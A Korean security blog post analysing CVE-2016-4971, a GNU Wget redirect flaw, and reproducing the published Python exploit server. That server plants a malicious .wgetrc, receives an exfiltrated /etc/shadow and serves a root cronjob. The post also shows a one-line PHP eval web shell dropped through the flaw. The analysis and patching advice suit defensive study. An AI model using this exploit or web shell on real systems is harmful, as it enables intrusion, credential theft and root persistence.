오랜만에 Exploit 코드 분석을 해볼까합니다. (한참된거 같네요)
최근 wget, 즉 gnu wget에서 Arbitrary File Upload와 Remote Code Execution 취약점이 발견되었습니다. 딱봐도 파급력이 크기 때문에 당연 CVE도 붙었고 CVSS Risk level 도 높을 것으로 보이네요. 그럼 시작해볼까요?
GNU Wget?
wget은 많이들 아시겠죠. 바로 리눅스, 유닉스에서 사용하는 웹 접근 도구입니다.웹 페이지나 파일을 명령어로 쉽게 가져올 수 있죠. wget을 잘 활용하면 쓸만한 툴을 만들 수 있을 정도입니다.
"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and
FTP, the most widely-used Internet protocols.
It is a non-interactive commandline tool, so it may easily be called from
scripts, cron jobs, terminals without X-Windows support, etc.
GNU Wget has many features to make retrieving large files or mirroring entire
web or FTP sites easy
"
GNU에 소개된 내용을 보면 딱 아 이런 툴이구나 라고 이해가 되실겁니다.
"This file documents the GNU Wget utility for downloading network data."
GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution
간단하게 Summary 정리하고 갑니다.Exploit title: GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution
Weak application: GNU Wget
Exploit-code: CVE-2016-4971, edb-40064
Author: Dawid Golunski
오래전부터 활동하시던 분이고 linux 랑 php 취약점 자주 잡으시는 분이네요.
(제가 8066인데, 이분은 1951.. 허헛)
GNU Wget < 1.18 버전의 취약성
wget 1.18 버전 이하에서는 아주 치명적인 취약성이 존재합니다.바로 302 Found와 같이 Redirection되는 페이지를 만났을 때 새로 Redirection 된 파일을 받아오게 됩니다. 여기서, 중요한건 다운로드된 파일을 Redirection 된 파일의 이름을 따라가게 됩니다.
그래서 공격자는 사용자로부터 wget 요청을 유도할 수 있다면 악의적인 파일을 사용자에게 삽입할 수 있게됩니다.
음.. 쉽게 예를들어 설명하면,
먼저 공격자는 사용자들이 많이 받는 파일에 302 found를 세팅합니다.
아래와 같이 다른 url로 넘어가도록 말이죠.
#> wget http://192.168.0.8/util.zip
사용자가 wget으로 util.zip을 호출할 때 서버는 아래와 같은 메시지를 Return 합니다.HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://192.168.0.8/.bashrc
Server: Apache
이렇게 되면 wget은 302를 만나 ftp://192.168.0.8/.bashrc 주소로 붙어 .bashrc 파일을 다운로드 받습니다.
.bashrc는 사용자의 bashrc 파일로 스크립트로 여러가지 행위를 할 수 있죠.
이 과정중의 핵심은 이것입니다. 사용자는 wget 으로 http://192.168.0.8/util.zip에 접근하였고 결론적으로는 .bashrc 파일이 떨어졌다는 겁니다.
이해가셨나요? 아주 쉽고 간단한데 원격지에 파일을 떨어뜨릴 수 있는거니 생각보단 위험하네요.
Exploit Code
내용만 보고 없으면 직접 짜려고 했으나 다행인게 Author가 302 server code 도 만들어 두었네요.얼마 길지않은 python 코드는 잠깐 보도록 하죠. 주석으로 조금 정리해볼게요.
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
# =======================================================
# [!!!] 이 부분입니다. 강제로 301 redirection 을 보내주네요.
# new_path 에 들어가는 부분이 악의적인 파일(wgetrc)를 받을 ftp 입니다.
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
# =======================================================
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending back a cronjob script as a thank-you for the file..."
print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
return
HTTP_LISTEN_IP = '192.168.57.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.57.1'
FTP_PORT = 21
ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
나머진 별다른게 없네요. 그냥 python 기반 웹서버이며 301해주는 기능입니다.rc 파일에는 공격 코드가 들어가겠네요.
GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution 을 이용한 WebShell Upload
사실 여기까지 보고 이런 생각이 들었습니다."어? 왜 Remote code execution까지 붙였을까?"
Author는 요걸 활용한 공격까지 생각하고 이름을 지었더군요 !
바로 php에서 사용될 때 php 파일을 떨굴 수 있기 때문이죠. 아무래도 cron이나 웹 서버에서 wget을 사용하는 경우가 은근 많은데, 정말 위험할 수도 있겠네요.
아래 간단한 코드를 예시로 들겠습니다.
<?php
// I am vulnerability code in php
system("wget -N -P http://192.168.0.8/util.sqlite");
?>
뭔가 정기적으로 wget을 통해 util.sqlite 파일을 받아오는 코드입니다.만약 192.168.0.8 서버가 공격자로부터 침해되었다면 어떨까요?
공격자는 이 취약점을 활용하기 위해서 서버 설정을 바꾸어 다른 파일을 다운로드 받도록 유도합니다. 뭐 이런식으로요
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://192.168.0.8/ol_shell.php
Server: Apache
ol_shell.php
<?php
eval($_GET['q']);
?>
wget으로 인해서 ol_shell.php가 wget을 호출한 곳으로 떨어지고 자연스럽게 웹쉘이 업로드되는 현상이 이루어지지요.ftp로 주었지만 웹에서도 퍼미션이 없는 php 파일은 그냥 php로 떨어집니다. 웹 서버 하나로도 가능한 일이지요.
맺음말
이 취약점은 코딩 자체가 잘못된 취약점은 아닙니다. 프로그램 자체의 문제라기 보단 기능의 흐름에서 예상하지 못한 결과에 대해서 예외처리가 잘 되어있지 않은 문제지요.이렇게 로직으로 인한 문제는 개발자가 발견하기 어렵습니다. 실제로 일어나야 인지하죠.
이 취약점이 얼마나 여파가 있을지는 모르겠습니다. 공격자가 서비스가 어떤 주소로 wget을 호출하는지 알도록 냅둬진 서버가 얼마나 있을지는 모르겠네요. 다만 open source 중에서 wget 호출을 사용하는 서버는 문제가 있을 것 같습니다. 공격자가 언제든지 정보를 찾을 수 있기 때문에 관리자, 개발자는 항상 최신버전으로 업데이트함과 동시에 자신이 위험한 코딩을 하고있지 않은지 살펴봐야할 것 같습니다.
If you are question, please contact me a comment or mail
Reference
https://www.exploit-db.com/exploits/40064/https://en.wikipedia.org/wiki/Wget
HAHWULSecurity engineer, Gopher and H4cker! |
0 개의 댓글:
Post a Comment